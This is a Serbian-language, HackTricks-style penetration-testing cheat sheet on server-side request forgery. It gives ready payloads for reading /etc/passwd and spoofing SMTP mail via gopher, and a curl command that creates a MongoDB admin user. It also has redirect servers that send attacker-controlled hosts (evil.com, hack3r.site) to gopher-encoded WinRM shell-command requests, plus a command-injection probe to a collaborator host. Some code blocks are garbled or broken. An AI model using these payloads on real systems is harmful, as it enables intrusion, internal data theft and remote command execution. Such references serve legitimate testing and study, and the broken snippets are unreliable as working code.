SSRF (Server Side Request Forgery)

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu. Pristupite danas:

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Ranjivost Server-side Request Forgery (SSRF) se javlja kada napadač manipuliše server-side aplikacijom da pravi HTTP zahteve ka domenu po izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima usmerenim od strane napadača.

Snimanje SSRF-a

Prva stvar koju treba da uradite je da snimite SSRF interakciju koju ste generisali. Za snimanje HTTP ili DNS interakcije možete koristiti alate kao što su:

Bypass belih listiranih domena

Obično ćete otkriti da SSRF radi samo na određenim belim listiranim domenima ili URL-ovima. Na sledećoj stranici imate kompilaciju tehnika za pokušaj zaobilaženja te bele liste:

pageURL Format Bypass

Bypass putem otvorenog preusmeravanja

Ako je server pravilno zaštićen, možete zaobići sve restrikcije eksploatišući Otvoreno preusmeravanje unutar web stranice. Pošto će web stranica dozvoliti SSRF ka istom domenu i verovatno će pratiti preusmeravanja, možete eksploatisati Otvoreno preusmeravanje da naterate server da pristupi internim resursima. Pročitajte više ovde: https://portswigger.net/web-security/ssrf

Protokoli

  • file://

  • URL šema file:// se referiše, usmeravajući direktno na /etc/passwd: file:///etc/passwd

  • dict://

  • DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja potencijalno može biti zloupotrebljena da se poveže sa DICT serverom koristeći od strane napadača pružene akreditive: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • Identifikovan kao protokol za siguran prenos fajlova preko sigurne ljuske, pružen je primer koji prikazuje kako bi PHP skripta mogla biti iskorišćena da se poveže sa zlonamernim SFTP serverom: url=sftp://generic.com:11111/

  • TFTP://

  • Trivialni protokol prenosa fajlova, koji radi preko UDP-a, pomenut je sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. Zahtev TFTP serveru 'generic.com' na portu '12346' za fajl 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • Ovaj segment pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim informacionim servisima direktorijuma preko IP mreža. Interakcija sa LDAP serverom na localhostu: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • Opisan je metod za eksploataciju SSRF ranjivosti za interakciju sa SMTP servisima na localhostu, uključujući korake za otkrivanje internih imena domena i dalje istraživačke akcije na osnovu tih informacija.

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - Bypassovanje WAF-a

  • Ako se SSRF izvršava pomoću curl, curl ima funkciju nazvanu URL globbing koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom writeup možete pronaći primer za traversiranje putanje putem file protokola:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://

  • Mogućnost Gopher protokola da specificira IP adresu, port i bajtove za komunikaciju sa serverom je diskutovana, zajedno sa alatima poput Gopherus-a i remote-method-guesser-a za kreiranje payload-a. Prikazane su dve različite upotrebe:

Gopher://

Korišćenjem ovog protokola možete specificirati IP adresu, port i bajtove koje želite da server pošalje. Zatim, praktično možete iskoristiti SSRF da komunicirate sa bilo kojim TCP serverom (ali prvo morate znati kako da komunicirate sa servisom). Srećom, možete koristiti Gopherus za kreiranje payload-a za različite servise. Dodatno, remote-method-guesser može se koristiti za kreiranje gopher payload-a za Java RMI servise.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Povratno povezivanje na 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Kreirajte korisnika sa korisničkim imenom=admin sa lozinkom=admin123 i dozvolom=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF putem Referrer zaglavlja i ostalih

Softver za analitiku na serverima često beleži Referrer zaglavlje kako bi pratili dolazne linkove, praksu koja nenamerno izlaže aplikacije ranjivostima na Server-Side Request Forgery (SSRF). To je zato što takav softver može posetiti spoljne URL-ove navedene u Referrer zaglavlju kako bi analizirao sadržaj referentnog sajta. Da bi otkrili ove ranjivosti, preporučuje se korišćenje Burp Suite dodatka "Collaborator Everywhere", iskorišćavajući način na koji alati za analitiku obrađuju Referer zaglavlje kako bi identifikovali potencijalne površine napada SSRF.

SSRF putem SNI podataka iz sertifikata

Pogrešna konfiguracija koja omogućava povezivanje sa bilo kojim backend-om kroz jednostavan setup ilustrovana je primerom Nginx konfiguracije:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

U ovoj konfiguraciji, vrednost iz polja Server Name Indication (SNI) se direktno koristi kao adresa backend-a. Ova postavka izlaže ranjivost na Server-Side Request Forgery (SSRF), koja može biti iskorišćena jednostavnim navođenjem željene IP adrese ili imena domena u polju SNI. Primer iskorišćavanja za prisiljavanje veze sa proizvoljnim backend-om, poput internal.host.com, korišćenjem openssl komande je data ispod:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF sa ubacivanjem komandi

Moglo bi biti vredno pokušati sa payload-om poput: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Prikazivanje PDF fajlova

Ako veb stranica automatski kreira PDF sa nekim informacijama koje ste pružili, možete ubaciti neki JS koji će biti izvršen od strane samog kreatora PDF-a (servera) dok kreira PDF i moći ćete zloupotrebiti SSRF. Pronađite više informacija ovde.

Od SSRF do DoS-a

Kreirajte nekoliko sesija i pokušajte da preuzmete teške fajlove iskorišćavajući SSRF iz sesija.

SSRF PHP funkcije

pagePHP SSRF

SSRF Preusmeravanje na Gopher

Za neke eksploatacije možda će vam biti potrebno poslati preusmeravajući odgovor (potencijalno koristeći drugi protokol poput gopher-a). Ovde imate različite Python kodove za odgovor sa preusmeravanjem:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```html
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu. Pristupite danas:

Pogrešno konfigurisani proksi za SSRF

Trikovi iz ovog posta.

Flask

Flask ranjiv kôd proksija

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask omogućava korišćenje **`@`** kao početnog karaktera, što omogućava da se **početno ime hosta koristi kao korisnik** i ubaci novo ime. Napadni zahtev:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Ranjiv kôd:

Otkriveno je da je moguće zapoceti putanju zahteva karakterom ; što omogućava korišćenje @ i ubacivanje novog hosta za pristup. Napadački zahtev:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Ugrađeni PHP veb server

Last updated